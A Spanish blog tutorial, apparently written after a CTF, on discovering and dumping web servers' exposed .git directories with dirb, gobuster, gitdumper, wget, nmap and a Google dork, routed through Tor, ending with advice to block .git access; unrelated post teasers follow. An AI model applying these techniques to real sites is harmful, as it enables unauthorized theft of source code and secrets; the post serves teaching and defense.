Ir al contenido principal

Obtener informacion de repositorios a través de los metadatos .git publicados por error

 A raiz de CTF realizado recientemente, me ha parecido interesante publicar este post sobre los errores de seguridad que se encuentran en muchos sitios. En este caso, el tener publicado los metadatos de un repositorio clonado. Veamos cómo obtener esta información de manera muy sencilla.


Prerequisitos si queremos trabajar de manera anónima:


systemctl start tor

Luego podremos lanzar los comandos con torify o torsock, de esta manera trabajaremos a través de la red tor.

Se puede verificar de esta manera (donde veremos que la ip que tenemos asignada difiere):

curl ifconfig.me --> Nos devolverá nuestra IP
torsocks curl ifconfig.me --> Nos devolverá la IP del nodo TOR

URL de ejemplo: http://10.10.206.152 

Escanear directorios publicados en la url:


Tenemos varias formas:

  • dirb http://10.10.206.152


salida:

-----------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Wed Aug 26 17:41:46 2020
URL_BASE: http://10.10.206.152/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://10.10.206.152/ ----
+ http://10.10.206.152/.git/HEAD (CODE:200|SIZE:23)                                                                                                                                        
==> DIRECTORY: http://10.10.206.152/css/                                                                                                                                                   
+ http://10.10.206.152/index.html (CODE:200|SIZE:6890)                                                                                                                                     
                                                                                                                                                                                           
---- Entering directory: http://10.10.206.152/css/ ----
                                                                                                                                                                                           
-----------------
END_TIME: Wed Aug 26 17:51:41 2020
DOWNLOADED: 9224 - FOUND: 2


  • gobuster dir -u 10.10.206.152 -w /usr/share/dirb/wordlists/common.txt


salida:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.206.152
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/08/26 17:43:09 Starting gobuster
===============================================================
/.git/HEAD (Status: 200)
/css (Status: 301)
/index.html (Status: 200)
===============================================================
2020/08/26 17:43:38 Finished
===============================================================
 

En ambos casos vemos que se está publicando un directorio .git. Esto se debe a que dentro del directorio de publicación web se ha clonado un repositorio git, el cual deja un directorio .git con los metadatos del repositorio utilizado.

Si nos descargamos estos datos, podemos tener la información de dicho repositorio, así como sus distintas versiones y commits realizados.

Descarga de contenido .git

Para descargarlo, lo podemos hacer de varias formas:
 

  • Utilizar el kit de herramientas de https://github.com/internetwache/GitTools.git, el cual contiene un script (gitdumper.sh)


gitdumper.sh http://10.10.206.152/.git/ dir_git

una vez descargado, dentro de dir_git tendremos el directorio oculto .git:

ls -aR
.:
.  ..  .git

./.git:
.  ..  config  description  HEAD  index  info  logs  objects  packed-refs  refs

./.git/info:
.  ..  exclude

./.git/logs:
.  ..  HEAD  refs


  • Realizar una descarga recursiva con wget:


wget --mirror --include-directories=/.git http://10.10.206.152/.git/

obteniendo un nuevo directorio 10.10.206.152 con el .git dentro.
 

Ahora recuperaremos la información de git, esto también lo podemos hacer de varias formas:
 

  • git reset --hard
  • git checkout .

Ahora ya podemos hacer un ls y ver el contenido, así como ver el histórico de commits realizados:

git log

y ver las diferencias entre una versión y otra:

git diff 395e087334d613d5e423cdf8f7be27196a360459 index.html

o cambiar a un estado anterior:

git checkout 395e087334d613d5e423cdf8f7be27196a360459
 

Formas de descubrir directorios .git.

 

  • Podemos hacer uso de un sript de nmap para detectar estos directorios:


nmap -sS -p80 --script=http-git ip_destino

  • Con el script getfinder (https://github.com/internetwache/GitTools.git), donde le pasamos en un fichero el listado de sitios a analizar


python3 gitfinder.py -i input.txt -o salida

  • Y por supuesto con google dork:


intitle:"Index of" ".git"

 

Así que recuerda, no dejes directorios .git en los directorios publicados, o al menos, bloquea el acceso con htaccess.

 

Comentarios

Entradas populares de este blog

Conexión a bbdd oracle desde python

Para poder acceder a una bbdd oracle desde python tan sólo necesitaremos tener instalado: - cliente oracle (lo puedes obtener de la página de oracle y registrándote en la misma) - extensión cx_Oracle (lo puedes descargar desde la página http://cx-oracle.sourceforge.net/) La forma de utilizarlo lo podemos ver en el siguiente ejemplo: Con este script se pretende actualizar el campo de una tabla pasándole tres argumentos, dos para filtrar el dato y uno que será el nuevo valor. También hacemos uso de optparse para pasear los argumentos. #!/usr/bin/python # -*- coding: iso-8859-15 -*- import cx_Oracle, sys, os, datetime from optparse import OptionParser conn_str='usuario/pass@host:port/bbdd' log = '/ruta/para/log/script.log' #Fucion para escribir log def log (texto):         now = datetime.datetime.now()         f = open(log_propio, 'a')         f.write(str (now.ctime()) + ' -> ' + texto + '\n')         f.close() #Se parsea

Curso Django Segunda Parte

Continuamos con la segunda parte del mini curso de django. Respecto a la primera parte, he añadido una par de cosas: - La instalación de un paquete más: python-pygraphviz - Y la aplicación de un parche para django-smart-selects: https://github.com/GrAndSE/django-smart-selects/commit/7e2a8d572b3615cc39a3c9f9d60e1b60de06f46f Pues bien, ya tenemos creado un proyecto llamado misitio. Ahora es el momento de crear nuestra aplicación, la cual llamaremos inventario. Para crear un aplicación, simplemente hacemos: cd /opt/djcode/misitio python manage.py startapp inventario Tras la ejecución de este comando (que no devuelve nada por pantalla), tendremos un nuevo directorio bajo el proyecto misitio: ls -l inventario/ -rw-r--r-- 1 root root   0 mar 11 12:27 __init__.py -rw-r--r-- 1 root root  57 mar 11 12:27 models.py -rw-r--r-- 1 root root 383 mar 11 12:27 tests.py -rw-r--r-- 1 root root  26 mar 11 12:27 views.py De los ficheros que nos podemos encontrar, tenemos:

Configurar Nano Wifi TL-WN725N en Raspberry pi

Hace poco me regalaron una raspberry pi, y junto con ella, un dongle wifi usb TP-LINK, modelo TL-WN725N. En principio se supone que no debe haber problemas de compatibilidad entre este dongle wifi y nuestra raspberry, pero si la versión de nuestro dongle wifi es la 2 (en la caja viene como Ver:2.0) la cosa cambia. En mi caso tenía instada la última versión de raspbian, la cual traía una versión de kernel superior a la 3.10.18. Esta versión de kernel es la que funciona con nuestra modelo de dongle wifi (al menos según he podido averiguar). De modo que para poder reconocer el dongle wifi, tendremos que bajar a esta versión del kernel: sudo rpi-update 8fd111f77895450323abc5b34efde19548ffc480 Tras reiniciar, tendremos el siguiente kernel: Linux raspberrypi 3.10.18+ #587 Ahora sólo nos queda instalar el driver: wget https://dl.dropboxusercontent.com/u/80256631/8188eu-20131110.tar.gz tar -zxvf 8188eu-20131110.tar.gz                                          cat README